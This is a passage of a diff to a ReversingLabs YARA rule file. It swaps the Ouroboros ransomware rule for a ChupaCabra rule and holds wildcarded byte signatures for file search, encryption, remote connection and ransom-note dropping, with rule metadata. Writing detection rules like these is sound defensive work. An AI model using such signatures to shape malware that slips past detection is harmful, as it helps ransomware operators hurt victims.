+            ?? ?? ?? 6A ?? 89 44 24 ?? FF D7 8B F8 85 FF 74 ?? FF 74 24 ?? 68 ?? ?? ?? ?? 57 FF
+            15 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B CF 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ??
+            6A ?? 57 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? F6 46 ?? ?? 74 ?? FF 75 ?? 8B 54 24 ??
+            8D 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 43 83 C6 ?? 3B 5C 24 ?? 72 ?? 8D 44 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? 50 FF 74 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? FF
+        }
+		$enum_resources_2 = {
+            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 74 24 ?? FF 74 24 ?? FF
+            15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 6A ?? 6A ?? 6A ?? FF D3 8B F0 85 F6 0F 85 ?? ?? ??
+            ?? 8B 74 24 ?? 8D 44 24 ?? 50 56 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ??
+            C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 9B ?? ?? ?? ??
+            33 DB 39 5C 24 ?? 0F 86 ?? ?? ?? ?? 83 C6 ?? 90 83 7E ?? ?? 75 ?? 8B 06 6A ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 89 44 24 ?? FF D7 8B F8 85 FF 74 ?? FF 74 24 ?? 68 ??
+            ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B CF 6A ?? E8 ?? ?? ?? ?? 83 C4 ??
+            68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? F6 46 ?? ?? 74 ?? FF 75 ?? 8B 54 24 ?? 8D
+            4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 43 83 C6 ?? 3B 5C 24 ?? 72 ?? 8B 74
+            24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 56 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ??
+            50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 74 24
+            ?? FF 15 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 8B
+            C6 5E 5B 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_resources) and ($search_processes) and ($find_files) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ( all of ($enum_resources_*)) and ($find_files) and ( all of ($encrypt_files_*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Ouroboros : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Chupacabra : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Ouroboros ransomware."
+		description = "Yara rule that detects ChupaCabra ransomware."
 		author = "ReversingLabs"
-		id = "af0b9311-a7dd-56e8-a004-0828af5af5ef"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "e44a101d-53c3-51f2-84ca-f6a5858c169b"
+		date = "2021-10-12"
+		modified = "2021-10-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Ouroboros.yara#L1-L175"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "b573f303318452010ff46f21a02b6290820f9a27bf4c51b72f6ed15263b5f433"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.ChupaCabra.yara#L1-L90"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "7f247778e0bd8057670abf42b2d1011ebae891ffcb21ebad50060f9a7986bf93"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -28338,158 +30252,81 @@ rule REVERSINGLABS_Win32_Ransomware_Ouroboros : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ouroboros"
+		tc_detection_name = "ChupaCabra"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 6A ?? 68
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ??
-            42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ??
-            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
-        }
-		$remote_connection_p2 = {
-            C6 45 ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
-            C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49
-            ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B
-            95 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ??
-            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
-            ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 75 ?? 8D 8D ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 45 ?? C6 85 ?? ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 50 8B CE C7 06 ?? ?? ?? ?? C6 46 ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ??
-            72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83
-        }
-		$remote_connection_p3 = {
-            F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF
-            75 ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ??
-            ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83
-            FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0
-            ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A
-            ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ??
-            ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
-            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 85 C9 74 ?? 8B 95 ?? ?? ??
-            ?? 8B C1 2B D1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F
-            87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$remote_connection_p4 = {
-            8B 55 ?? C7 06 ?? ?? ?? ?? C6 46 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ??
-            ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF
-            70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4
-            ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
-            83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA
-            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ??
-            ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ??
-            8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
-            ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C1 2B D1 81 FA ?? ?? ?? ?? 0F
-            82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? E8
-        }
-		$find_files = {
-            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ??
-            41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
-            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
-            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ??
-            56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50
-            50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5
-            89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
-            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA
-            ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF
-            80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41
-            F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ??
-            ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56
-            FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ??
-            2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9
-            74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
-            ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B
-            C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
-            ?? E9
-        }
 		$encrypt_files_p1 = {
-            83 EC ?? 8B 44 24 ?? 53 55 56 8B F1 89 44 24 ?? 57 8B 7C 24 ?? 8B 6E ?? 3B FD 77 ??
-            8B DE 83 FD ?? 72 ?? 8B 1E 57 50 53 89 7E ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 04 1F ?? 8B
-            C6 5F 5E 5D 5B 83 C4 ?? C2 ?? ?? 81 FF ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B DF 83 CB ??
-            81 FB ?? ?? ?? ?? 76 ?? BB ?? ?? ?? ?? EB ?? 8B CD B8 ?? ?? ?? ?? D1 E9 2B C1 3B E8
-            76 ?? BB ?? ?? ?? ?? EB ?? 8D 04 29 3B D8 0F 42 D8 33 C9 8B C3 83 C0 ?? 0F 92 C1 F7
-            D9 0B C8 51 8B CE E8 ?? ?? ?? ?? 57 FF 74 24 ?? 89 44 24 ?? 50 89 7E ?? 89 5E ?? E8
-            ?? ?? ?? ?? 8B 5C 24 ?? 83 C4 ?? C6 04 1F ?? 83 FD ?? 72 ?? 8B 06 45 81 FD ?? ?? ??
-            ?? 72 ?? 8B 48 ?? 83 C5 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 8B C1 55 50 E8 ?? ?? ?? ??
-            83 C4 ?? 5F 89 1E 8B C6 5E 5D 5B 83 C4 ?? C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC
-            CC CC CC CC 83 EC ?? 53 55 8B 6C 24 ?? 56 57 8B F9 8B 4C 24 ?? 89 4C 24 ?? 8B 5F ??
-            3B EB 77 ?? 89 7C 24 ?? 8B C7 83 FB ?? 72 ?? 8B 07 89 44 24 ?? 8D 34 6D
+            7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 14 0A 14 0B 7E ?? ?? ?? ?? 7E ?? ??
+            ?? ?? 73 ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 09 73 ?? ?? ?? ?? 13 ?? 73 ??
+            ?? ?? ?? 0A 06 08 06 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 11 ?? 28 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 06 06 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11
+            ?? 11 ?? 16 73 ?? ?? ?? ?? 13 ?? 11 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 0B DE
+            ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ??
+            11 ?? 6F ?? ?? ?? ?? DC 06 2C ?? 06 6F ?? ?? ?? ?? DC 07 2A
         }
 		$encrypt_files_p2 = {
-            89 6F ?? 56 51 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 33 C9 66 89 0C 06 8B C7 5F 5E
-            5D 5B 83 C4 ?? C2 ?? ?? 81 FD ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B F5 83 CE ?? 81 FE ??
-            ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? 8B CB B8 ?? ?? ?? ?? D1 E9 2B C1 3B D8 76 ?? BE
-            ?? ?? ?? ?? EB ?? 8D 04 19 3B F0 0F 42 F0 33 C9 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8
-            51 8B CF E8 ?? ?? ?? ?? 89 77 ?? 8D 34 6D ?? ?? ?? ?? 56 FF 74 24 ?? 89 44 24 ?? 50
-            89 6F ?? E8 ?? ?? ?? ?? 8B 6C 24 ?? 33 C0 83 C4 ?? 66 89 04 2E 83 FB ?? 72 ?? 8B 07
-            8D 1C 5D ?? ?? ?? ?? 81 FB ?? ?? ?? ?? 72 ?? 8B 48 ?? 83 C3 ?? 2B C1 83 C0 ?? 83 F8
-            ?? 77 ?? 8B C1 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 2F 8B C7 5F 5E 5D 5B 83 C4 ?? C2 ??
-            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 8B 44 24 ?? 83 EC ?? 83 E0 ?? 89 41 ?? 8B 49 ??
-            23 C8 75 ?? 83 C4 ?? C2 ?? ?? 56 F6 C1 ?? 74 ?? BE ?? ?? ?? ?? EB ?? F6 C1 ?? BE ??
-            ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 F0 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C
-            24 ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 5E
+            02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 02 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 0A 02 06 28 ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ??
+            ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 20 ?? ?? ?? ?? 8D ?? ??
+            ?? ?? 0B 02 19 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 08 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 0D 09 07 09 8E 69 28 ?? ?? ?? ?? DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 02 19 28
+            ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 07 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ??
+            ?? ?? ?? DC 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 02 28
+            ?? ?? ?? ?? 13 ?? 11 ?? 17 5F 17 33 ?? 11 ?? 17 28 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ??
+            ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 02 28 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 38 ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 20 ?? ?? ??
+            ?? 8D ?? ?? ?? ?? 13 ?? 02 19 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 02 19 28
+            ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F
+            ?? ?? ?? ?? DC 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? DE ?? 26 DE ??
+            2A
         }
-		$encrypt_files_angus_version = {
-            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43
-            8D ?? ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? B9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 39 8D ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 42 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ??
-            ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ??
-            ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8
+		$find_files_p1 = {
+            02 28 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 0B 16 0C 2B ?? 06 08 9A 28 ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 08 9A 28 ?? ?? ?? ?? 08 17 58 0C 08 06 8E 69 32 ?? 16 0D
+            2B ?? 07 09 9A 28 ?? ?? ?? ?? 09 17 58 0D 09 07 8E 69 32 ?? DE ?? 26 DE ?? 2A
+        }
+		$find_files_p2 = {
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ??
+            ?? 1F ?? 8D ?? ?? ?? ?? 25 16 1E 28 ?? ?? ?? ?? A2 25 17 1F ?? 28 ?? ?? ?? ?? A2 25 18
+            1F ?? 28 ?? ?? ?? ?? A2 25 19 1F ?? 28 ?? ?? ?? ?? A2 25 1A 1F ?? 28 ?? ?? ?? ?? A2 25
+            1B 1B 28 ?? ?? ?? ?? A2 25 1C 1C 28 ?? ?? ?? ?? A2 25 1D 1F ?? 28 ?? ?? ?? ?? A2 25 1E
+            1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ??
+            A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1B 28 ??
+            ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ??
+            1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ??
+            A2 0A 16 0B 2B ?? 06 07 9A 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 ?? 2A
+        }
+		$drop_ransom_note = {
+            7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ??
